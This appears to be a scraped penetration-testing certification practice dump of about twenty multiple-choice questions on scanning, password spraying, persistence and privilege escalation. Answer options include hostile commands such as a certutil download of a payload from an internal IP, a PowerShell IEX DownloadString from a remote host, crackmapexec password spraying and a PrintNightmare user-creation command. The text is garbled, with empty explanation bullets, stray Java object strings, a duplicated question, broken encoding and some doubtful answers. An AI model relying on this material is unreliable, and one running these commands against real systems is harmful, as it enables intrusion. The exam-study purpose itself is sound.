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NEW QUESTION 1
A penetration tester creates a list of target domains that require further enumeration. The tester writes the following script to perform vulnerability scanning across the domains:
line 1: #!/usr/bin/bash
line 2: DOMAINS_LIST = "/path/to/list.txt" line 3: while read -r i; do
line 4: nikto -h $i -o scan-$i.txt & line 5: done
The script does not work as intended. Which of the following should the tester do to fix the script?
- A. Change line 2 to {"domain1", "domain2", "domain3", }.
- B. Change line 3 to while true; read -r i; do.
- C. Change line 4 to nikto $i | tee scan-$i.txt.
- D. Change line 5 to done < "$DOMAINS_LIST".
Answer: D
Explanation:
The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "$DOMAINS_LIST" correctly directs the loop to read from the file.
Step-by-Step Explanation
✑ Original Script: DOMAINS_LIST="/path/to/list.txt" while read -r i; do
nikto -h $i -o scan-$i.txt & done
✑ Identified Problem:
✑ Solution: DOMAINS_LIST="/path/to/list.txt" while read -r i; do
nikto -h $i -o scan-$i.txt & done < "$DOMAINS_LIST"
✑ Explanation
✑ References from Pentesting Literature:
=================
NEW QUESTION 2
While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@
Which of the following is the main purpose of the command?
- A. To perform a pass-the-hash attack over multiple endpoints within the internal network
- B. To perform common protocol scanning within the internal network
- C. To perform password spraying on internal systems
- D. To execute a command in multiple endpoints at the same time
Answer: C
Explanation:
The command crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ is used to perform password spraying on internal systems. CrackMapExec (CME) is a post- exploitation tool that helps automate the process of assessing large Active Directory
networks. It supports multiple protocols, including SMB, and can perform various actions like password spraying, command execution, and more.
✑ CrackMapExec:
✑ Command Breakdown:
✑ Password Spraying:
Pentest References:
✑ Password Spraying: An effective method for gaining initial access during penetration tests, particularly against organizations that have weak password policies or commonly used passwords.
✑ CrackMapExec: Widely used in penetration testing for its ability to automate and streamline the process of credential validation and exploitation across large networks.
By using the specified command, the tester performs a password spraying attack, attempting to log in with a common password across multiple usernames, identifying potential weak accounts.
=================
NEW QUESTION 3
A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?
- A. SSL certificate inspection
- B. URL spidering
- C. Banner grabbing
- D. Directory brute forcing
Answer: C
Explanation:
Banner grabbing is a technique used to gather information about a service running on an open port, which often includes the version number of the application or server. Here??s why banner grabbing is the correct Answer
✑ Banner Grabbing: It involves connecting to a service and reading the welcome banner or response, which typically includes version information. This is a direct method to identify the version number of a web application server.
✑ SSL Certificate Inspection: While it can provide information about the server, it is not reliable for identifying specific application versions.
✑ URL Spidering: This is used for discovering URLs and resources within a web application, not for version identification.
✑ Directory Brute Forcing: This is used to discover hidden directories and files, not for identifying version information.
References from Pentest:
✑ Luke HTB: Shows how banner grabbing can be used to identify the versions of services running on a server.
✑ Writeup HTB: Demonstrates the importance of gathering version information through techniques like banner grabbing during enumeration phases.
Conclusion:
Option C, banner grabbing, is the most appropriate technique for confirming the version number of a web application server.
=================
NEW QUESTION 4
A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?
- A. SSL certificate inspection
- B. URL spidering
- C. Banner grabbing
- D. Directory brute forcing
Answer: C
Explanation:
Banner grabbing is a technique used to obtain information about a network service, including its version number, by connecting to the service and reading the response.
✑ Understanding Banner Grabbing:
✑ Manual Banner Grabbing:
Step-by-Step Explanationtelnet target_ip 80
✑ uk.co.certification.simulator.questionpool.PList@5af47689 nc target_ip 80
✑ Automated Banner Grabbing: nmap -sV target_ip
✑ Benefits:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================
NEW QUESTION 5
Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?
- A. Preserving artifacts
- B. Reverting configuration changes
- C. Keeping chain of custody
- D. Exporting credential data
Answer: A
Explanation:
Preserving artifacts ensures that key outputs from the penetration test, such as logs,
screenshots, captured data, and any generated reports, are retained for analysis, reporting, and future reference.
✑ Importance of Preserving Artifacts:
✑ Types of Artifacts:
✑ Best Practices:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================
NEW QUESTION 6
During an engagement, a penetration tester found some weaknesses that were common
across the customer??s entire environment. The weaknesses included the following:
✑ Weaker password settings than the company standard
✑ Systems without the company's endpoint security software installed
✑ Operating systems that were not updated by the patch management system
Which of the following recommendations should the penetration tester provide to address the root issue?
- A. Add all systems to the vulnerability management system.
- B. Implement a configuration management system.
- C. Deploy an endpoint detection and response system.
- D. Patch the out-of-date operating systems.
Answer: B
Explanation:
✑ Identified Weaknesses:
✑ Configuration Management System:
✑ Other Recommendations:
Pentest References:
✑ System Hardening: Ensuring all systems adhere to security baselines and configurations to reduce attack surfaces.
✑ Automation in Security: Using configuration management tools to automate security practices, ensuring compliance and reducing manual errors.
Implementing a configuration management system addresses the root issue by ensuring consistent security configurations, software deployments, and patch management across the entire environment.
=================
NEW QUESTION 7
During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:
snmpwalk -v 2c -c public 192.168.1.23
Which of the following is the tester trying to do based on the command they used?
- A. Bypass defensive systems to collect more information.
- B. Use an automation tool to perform the attacks.
- C. Script exploits to gain access to the systems and host.
- D. Validate the results and remove false positives.
Answer: D
Explanation:
The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here??s the purpose in the context provided:
✑ SNMP Enumeration:
✑ Purpose of the Command:
✑ Comparison with Other Options:
By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.
=================
NEW QUESTION 8
A penetration tester gains access to a domain server and wants to enumerate the systems within the domain. Which of the following tools would provide the best oversight of domains?
- A. Netcat
- B. Wireshark
- C. Nmap
- D. Responder
Answer: C
Explanation:
✑ Installation: sudo apt-get install nmap
✑ Basic Network Scanning: nmap -sP 192.168.1.0/24
✑ Service and Version Detection: nmap -sV 192.168.1.10
✑ Enumerating Domain Systems:
nmap -p 445 --script=smb-enum-domains 192.168.1.10
✑ Advanced Scanning Options: nmap -sS 192.168.1.10
✑ uk.co.certification.simulator.questionpool.PList@623a95bc nmap -A 192.168.1.10
✑ Real-World Example:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================
NEW QUESTION 9
Given the following statements:
✑ Implement a web application firewall.
✑ Upgrade end-of-life operating systems.
✑ Implement a secure software development life cycle.
In which of the following sections of a penetration test report would the above statements be found?
- A. Executive summary
- B. Attack narrative
- C. Detailed findings
- D. Recommendations
Answer: D
Explanation:
The given statements are actionable steps aimed at improving security. They fall under the recommendations section of a penetration test report. Here??s why option D is correct:
✑ Recommendations: This section of the report provides specific actions that should
be taken to mitigate identified vulnerabilities and improve the overall security posture. Implementing a WAF, upgrading operating systems, and implementing a secure SDLC are recommendations to enhance security.
✑ Executive Summary: This section provides a high-level overview of the findings
and their implications, intended for executive stakeholders.
✑ Attack Narrative: This section details the steps taken during the penetration test, describing the attack vectors and methods used.
✑ Detailed Findings: This section provides an in-depth analysis of each identified vulnerability, including evidence and technical details.
References from Pentest:
✑ Forge HTB: The report's recommendations section suggests specific measures to address the identified issues, similar to the given statements.
✑ Writeup HTB: Highlights the importance of the recommendations section in providing actionable steps to improve security based on the findings from the assessment.
Conclusion:
Option D, recommendations, is the correct section where the given statements would be found in a penetration test report.
=================
NEW QUESTION 10
HOTSPOT
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Solution:
* 1. Reflected XSS - Input sanitization (<> ...)
* 2. Sql Injection Stacked - Parameterized Queries
* 3. DOM XSS - Input Sanitization (<> ...)
* 4. Local File Inclusion - sandbox req
* 5. Command Injection - sandbox req
* 6. SQLi union - paramtrized queries
* 7. SQLi error - paramtrized queries
* 8. Remote File Inclusion - sandbox
* 9. Command Injection - input saniti $
* 10. URL redirect - prevent external calls
Does this meet the goal?
- A. Yes
- B. Not Mastered
Answer: A
NEW QUESTION 11
During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard- coded credentials most effectively?
- A. Run TruffleHog against a local clone of the application
- B. Scan the live web application using Nikto
- C. Perform a manual code review of the Git repository
- D. Use SCA software to scan the application source code
Answer: A
Explanation:
Given a short assessment timeline and the need to identify hard-coded credentials in a large codebase, using an automated tool designed for this specific purpose is the most effective approach. Here??s an explanation of each option:
✑ Run TruffleHog against a local clone of the application (Answer: A):
✑ Scan the live web application using Nikto (Option B):
✑ Perform a manual code review of the Git repository (Option C):
✑ Use SCA software to scan the application source code (Option D):
Conclusion: Running TruffleHog against a local clone of the application is the most effective approach for quickly identifying hard-coded credentials in a large codebase within a limited timeframe.
NEW QUESTION 12
Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?
- A. Use steganography and send the file over FTP
- B. Compress the file and send it using TFTP
- C. Split the file in tiny pieces and send it over dnscat
- D. Encrypt and send the file over HTTPS
Answer: D
Explanation:
When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection. Here??s an analysis of each option:
✑ Use steganography and send the file over FTP (Option A):
✑ Compress the file and send it using TFTP (Option B):
✑ Split the file in tiny pieces and send it over dnscat (Option C):
✑ Encrypt and send the file over HTTPS (Answer: D):
Conclusion: Encrypting the file and sending it over HTTPS is the most efficient and secure method for exfiltrating sensitive data, ensuring both confidentiality and reducing the risk of detection.
NEW QUESTION 13
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?
- A. ChopChop
- B. Replay
- C. Initialization vector
- D. KRACK
Answer: D
Explanation:
KRACK (Key Reinstallation Attack) exploits a vulnerability in the WPA2 protocol to decrypt and inject packets, potentially allowing an attacker to break the encryption key and gain access to the Wi-Fi network.
✑ Understanding KRACK:
✑ Attack Steps:
✑ Impact:
✑ Mitigation:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================
NEW QUESTION 14
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY
Which of the following best explains the team's objective?
- A. To enumerate current users
- B. To determine the users' permissions
- C. To view scheduled processes
- D. To create persistence in the network
Answer: D
Explanation:
The logs indicate that the penetration testing team??s objective was to create persistence in the network.
✑ Log Analysis:
✑ Persistence:
✑ Other Options:
Pentest References:
✑ Post-Exploitation: Establishing persistence is a key objective after gaining initial access to ensure continued access.
✑ Scheduled Tasks: Utilizing Windows Task Scheduler to run scripts or programs automatically at specified times as a method for maintaining access.
By creating scheduled tasks, the penetration testing team aims to establish persistence, ensuring they can retain access to the system over time.
=================
NEW QUESTION 15
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
- A. powershell.exe impo C:\tools\foo.ps1
- B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
- C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
- D. rundll32.exe c:\path\foo.dll,functName
Answer: B
Explanation:
To execute a payload and gain additional access, the penetration tester
should use certutil.exe. Here??s why:
✑ Using certutil.exe:
✑ Comparison with Other Commands:
Using certutil.exe to download and execute a payload is a common and effective method.
=================
NEW QUESTION 16
A penetration tester assesses an application allow list and has limited command-line access on the Windows system. Which of the following would give the penetration tester information that could aid in continuing the test?
- A. mmc.exe
- B. icacls.exe
- C. nltest.exe
- D. rundll.exe
Answer: C
Explanation:
When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering information to aid in furthering the test. Here??s an explanation for each option:
✑ mmc.exe (Microsoft Management Console):
✑ icacls.exe:
✑ nltest.exe:
✑ rundll.exe:
Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain controllers, and trust relationships. This information is crucial for a penetration tester to plan further actions and understand the domain environment.
=================
NEW QUESTION 17
During an assessment, a penetration tester manages to get RDP access via a low-privilege user. The tester attempts to escalate privileges by running the following commands:
Import-Module .\PrintNightmare.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print"
The tester attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low. Which of the following actions should the penetration tester take next?
- A. Log off and log on with "hacker".
- B. Attempt to add another user.
- C. Bypass the execution policy.
- D. Add a malicious printer driver.
Answer: A
Explanation:
In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new "hacker" account to escalate privileges correctly.
✑ PrintNightmare Exploit:
✑ Commands Breakdown:
✑ Issue:
✑ Solution:
Pentest References:
✑ Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.
✑ Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.
✑ The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.
By logging off and logging on with the new "hacker" account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.
=================
NEW QUESTION 18
A penetration tester wants to use the following Bash script to identify active servers on a network:
1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null 4 if [ $? -eq 0 ]; then
5 echo "Host $h is up" 6 else
7 echo "Host $h is down" 8 fi
9 done
Which of the following should the tester do to modify the script?
- A. Change the condition on line 4.
- B. Add 2>&1 at the end of line 3.
- C. Use seq on the loop on line 2.
- D. Replace $h with ${h} on line 3.
Answer: C
Explanation:
The provided Bash script is used to ping a range of IP addresses to identify active hosts in a network. Here's a detailed breakdown of the script and the necessary modification:
✑ Original Script:
1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null 4 if [ $? -eq 0 ]; then
5 echo "Host $h is up" 6 else
7 echo "Host $h is down" 8 fi
9 done
✑ Analysis:
✑ Using seq for Better Compatibility: for h in $(seq 1 254); do
✑ uk.co.certification.simulator.questionpool.PList@68ca475b
✑ Modified Script:
1 network_addr="192.168.1"
2 for h in $(seq 1 254); do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null 4 if [ $? -eq 0 ]; then
5 echo "Host $h is up" 6 else
7 echo "Host $h is down" 8 fi
9 done
=================
NEW QUESTION 19
A penetration tester is performing an authorized physical assessment. During the test, the tester observes an access control vestibule and on-site security guards near the entry door in the lobby. Which of the following is the best attack plan for the tester to use in order to gain access to the facility?
- A. Clone badge information in public areas of the facility to gain access to restricted areas.
- B. Tailgate into the facility during a very busy time to gain initial access.
- C. Pick the lock on the rear entrance to gain access to the facility and try to gain access.
- D. Drop USB devices with malware outside of the facility in order to gain access to internal machines.
Answer: B
Explanation:
In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios. Here??s why option B is correct:
✑ Tailgating: This involves following an authorized person into a secure area without
proper credentials. During busy times, it??s easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.
✑ Cloning Badge Information: This can be effective but requires proximity to
employees and specialized equipment, making it more complex and time- consuming.
✑ Picking Locks: This is a more invasive technique that carries higher risk and is less
stealthy compared to tailgating.
✑ Dropping USB Devices: This tests employee awareness and response to malicious devices but does not directly test physical access controls.
References from Pentest:
✑ Writeup HTB: Demonstrates the effectiveness of social engineering and tailgating techniques in bypassing physical security measures.
✑ Forge HTB: Highlights the use of non-invasive methods like tailgating to test physical security without causing damage or raising alarms.
Conclusion:
Option B, tailgating into the facility during a busy time, is the best attack plan to gain access to the facility in an authorized physical assessment.
=================
NEW QUESTION 20
......
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